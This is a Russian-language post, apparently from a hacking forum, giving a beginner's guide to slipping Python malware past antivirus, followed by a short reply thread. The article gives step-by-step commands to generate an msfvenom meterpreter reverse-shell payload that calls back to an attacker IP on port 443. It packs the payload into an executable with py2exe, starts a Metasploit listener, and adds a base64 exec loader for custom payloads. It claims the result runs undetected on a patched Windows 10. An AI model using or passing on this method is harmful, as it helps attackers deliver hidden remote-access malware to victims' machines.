• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обход антивирусов на Python.

DaMaGa

HDD-drive
Пользователь
Регистрация
22.11.2021
Сообщения
43
Реакции
25
Давайте поговорим про обход антивирусов.

В этой статье — простое руководство по обходу антивирусов для начинающих на Python.

Попытка обхода антивируса — это всегда игра в кошки-мышки. Всякий раз, когда новая техника уклонения становится распространенной, производители антивирусов узнают об этом и обновляют базу сигнатур, чтобы блокировать её.

На момент написания этой статьи, описанный здесь метод успешно использовался для обхода всех, без исключения антивирусов на Virus Total, и, как следствие, для успешного выполнения вредоносного кода на полностью обновленной машине с Windows 10 с включенным Windows Defender.

evasion1-1.png


Payload на Python​


Антивирусы основанные на сравнение сигнатур, соотносят сигнатуры обнаруженных файлов со своей базой данных известных вредоносов. Наша цель состоит в том, чтобы «замаскировать» полезную нагрузку кода, или как её еще называют, пэйлоад, таким образом, чтобы сигнатура не совпадала ни с одной из известных антивирусам сигнатур.

Поведенческий антивирус попытается сопоставить известные подозрительные действия с действиями, предпринятыми при исполнении вашего кода. Наша вредоносная программа будет работать как клиент, запускающий TCP-соединение на 443 порту. Антивирусам на основе анализа поведения будет сложнее ловить подобные действия, не создавая ложных срабатываний для обычных приложений, например, таких как веб-браузеры.

В этом примере мы используем полезную нагрузку Python, сгенерированную MSFVenom, чтобы открыть обратный TCP-шелл (сеанс meterpreter) на 443 порту с компьютером атакующего, на котором запущен Metasploit. Подобные действия ПО, очевидно, похожи на действия вредоноса и должны отлавливаться любым антивирусом.

Описанный здесь подход достаточно гибок, поэтому в дальнейшем вы можете расширить его, заменив msfvenom своим собственным кодом Python.

Настройка окружения​


Мы рекомендуем использовать 3 виртуальные машины для этого урока:
  • Kali Linux для создания полезной нагрузки и запуска Metasploit;
  • Windows Metasploitable 3 для упаковки полезных данных в ПО;
  • И полностью пропатченный и настроенный к бою Windows 10 для проверки действия программы;
Причина, по которой мы использовали две разные виртуальные машины Windows, заключается в том, что нам нужен полностью пропатченный бокс, чтобы протестировать наш маленький вредонос в «полевых условиях». До cборки с помощью Py2Exe, машина со всеми патчами однозначно будет «ругаться» на наш необработанный пэйлоад Python, как на вредонос, что затруднит работу. Отсюда и потребность в виртуальной машине Metasploitable: 3 для обработки полезной нагрузки перед ее упаковкой.

Создание необнаружимой полезной нагрузки на Python​


Здесь мы рекомендуем использовать Windows Metasploitable 3 в качестве основной рабочей среды.

Установите Python 2.7.16 x86 для Windows: https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi

0_H4chNesX9KjBdmbQ.png


Переключитесь на виртуальную машину с Kali и создайте payload на Python-e:

Примечание: мы использовали IP-адрес 10.0.2.10 для нашей Кали. Убедитесь, что вы заменили его своим IP-адресом для этого и всех оставшихся шагов в этом руководстве.

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.2.10 LPORT=443 -f raw -o /var/www/html/mrtp.py

service apache2 start


0_OEC0SvLPmIGLvhW5.png


Скопируйте полезную нагрузку «mrtp.py» на компьютер с Windows:

wget http://10.0.2.10/mrtp.py -O mrtp.py

Теперь установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.

У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).

py -3.4 –m pip install py2exe или pip install py2exe

Далее создайте setup.py со следующим содержанием:

from distutils.core import setup

import py2exe
setup(
name = ‘Meter’,
description = ‘Python-based App’,
version = ‘1.0’,
console=[‘mrtp.py’],
options = {‘py2exe’: {‘bundle_files’: 1,’packages’:’ctypes’,’includes’: ‘base64,sys,socket,struct,time,code,platform,getpass,shutil’,}},
zipfile = None,

)

Соберите исполняемый файл Python с помощью Py2Exe:

python.exe .\setup.py py2exe

evasion1-1.png


Проверьте создался ли бинарник
«mrtp.exe» в папке dist:

evasion1-1.png


Запустите его:

.\dist\mrtp.exe

Переключитесь назад к виртуалке с Кали и запустите Метасплоит:

msfconsole

use exploit/multi/handler

set PAYLOAD python/meterpreter/reverse_tcp

set LHOST 10.0.2.10

set LPORT 443

run


Примечание. В зависимости от того, как долго будет грузиться Metasploit, вам может потребоваться снова запустить mrtp.exe в окне Windows.

evasion1-1.png


Теперь, когда мы убедились, что наш маленький вредонос работает, давайте протестируем на VirusTotal-е:

Если вы все сделали правильно, то получите чистый отчет:

evasion1-1.png


Теперь пришло время запустить наш вредонос на виртуалке с Windows 10. Просто перетащите файл «mrtp.exe» непосредственно в окно Windows 10.

evasion1-1.png


Убедитесь, что Metasploit прослушивает порт 443 на машине с Kali, и запустите «mrtp.exe» на виртуалке с Windows 10.

evasion1-1.png


Как видно на скриншоте, артефакт выполнен необнаруженным, и сеанс Meterpreter был успешно установлен.

Модифицируем наш вредонос!


Вы можете использовать ту же технику и создать свой собственный код. Все, что нужно, это повторить предыдущие шаги, отредактировав файл «mrtp.py» после его генерации с помощью msfvenom. Вам придется заменить строку, закодированную в base64 вашей собственной.

Для тренировки, создадим «custom_payload-py:

print ("Customized payload")
print ("It works!")


После создания, нам надо закодировать его в base64:

cat custom_payload.py | base64

evasion1-1.png


Пример, который мы использовали, закодированный в Base64 будет выглядеть так:

“cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==”

Теперь отредактируем уже существующий «mrtp.py», который мы использовали в прошлый раз и заменим строчку base64 на новую:

evasion1-1.png


После исправлений результат должен выглядеть примерно так:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('cHJpbnQgKCJDdXN0b21pemVkIHBheWxvYWQiKQpwcmludCAoIkl0IHdvcmtzISIpCg==')))

Cкопируем mrtp.py на виртуалку с Windows и соберем бинарник:

wget http://10.0.2.10/mrtp.py -O mrtp.py

python.exe .\setup.py py2exe

.\dist\mrtp.exe

evasion1-1.png


После запуска собранного бинарника, мы увидим на экране терминала строчки “Customized payload” и “It works”.

Вуаля. Все гениальное просто! Удачи в изучении Python! Статья опубликована исключительно в ознакомительных целях!
 
Хорошая тема
Имейте ввиду, что в данной статье указан лишь вектор, а далее пусть каждый включает соображалку/воображалку...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Имейте ввиду, что в данной статье указан лишь вектор, а далее пусть каждый включает соображалку/воображалку...
вектор вектором но паблик за свою статью выдавать это очень плохо))) ты когда статьи создаешь ты даты на картинках смотришь?
я бы тебе поставил лайк или подписку если бы ты в актуальное время сейчас например сел бы за свой комп или на дедике бы все это организовал тогда цены бы не было твоей статье
 
вектор вектором но паблик за свою статью выдавать это очень плохо))) ты когда статьи создаешь ты даты на картинках смотришь?
я бы тебе поставил лайк или подписку если бы ты в актуальное время сейчас например сел бы за свой комп или на дедике бы все это организовал тогда цены бы не было твоей статье
Ну где ж я её за свою обозначил...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну где ж я её за свою обозначил...
тогда когда ctrl + c то не забывай добавлять источник откуда ты это копирнул
 
Ты думаешь что это туда уже не засовывали?
Ты умный нет? если бы до этого заливали уже бы алгоритм в базе был.
По сути пофиг, екзешник ещё залить надо, кто это юзает хз. ))
 
Ты умный нет? если бы до этого заливали уже бы алгоритм в базе был.
По сути пофиг, екзешник ещё залить надо, кто это юзает хз. ))
Т.е. если я сделаю екзешник чистым(не паблик методом), и закину его на вирус тотал, то следующий закидос будет выявлять его как вирус ?
или нужен детект его в течение какого-то времения, чтобы понять что он действительно несёт полезную нагрузку.....?
 
Т.е. если я сделаю екзешник чистым(не паблик методом), и закину его на вирус тотал, то следующий закидос будет выявлять его как вирус ?
или нужен детект его в течение какого-то времения, чтобы понять что он действительно несёт полезную нагрузку.....?
Вот именно. Ты не представляешь какое количество людей реверсеров и тд. работает с тоталом. он для этого и создан.
 
Т.е. если я сделаю екзешник чистым(не паблик методом), и закину его на вирус тотал, то следующий закидос будет выявлять его как вирус ?

Вот именно. Ты не представляешь какое количество людей реверсеров и тд. работает с тоталом. он для этого и создан.
:)
 
Неудача. Не применимо в реальном сценарии. VT не равен avs. Большинство avs теперь используют обнаружение облака на основе машинного обучения. «Обход» будет обнаружен на 100%
 
Пожалуйста, обратите внимание, что пользователь заблокирован
пардон, это что пейлоад 10мб будет весить?)))
иногда это неплохо, в наше время аверы автоматом палят маленькие ехе на ассемблере/Си. Наоборот, надо 100 метров говна поверх налепить, разные бусты, qt и прочие либы, чтобы средний реверсер не мог понять, что там.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Размер впринципе не важен, у АНБ в арсенале были пейлоады и по 200 мб. Важна как раз эффективность пейлоада в контексте требуемой задачи.
 
Размер впринципе не важен, у АНБ в арсенале были пейлоады и по 200 мб.
С каких пор АНБ эталон в теме?)) Хотел бы я видеть как вы будете тянуть эти 200мб, или даже 10, на таргет)) Я сам не проверял, но сдается мне что это будет дико неудобно, но вам, конечно, виднее)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх